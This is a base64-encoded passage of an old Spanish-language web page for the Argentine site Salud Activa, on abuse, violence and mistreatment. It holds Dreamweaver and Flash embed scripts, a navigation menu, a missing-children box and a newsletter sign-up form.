ZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogIC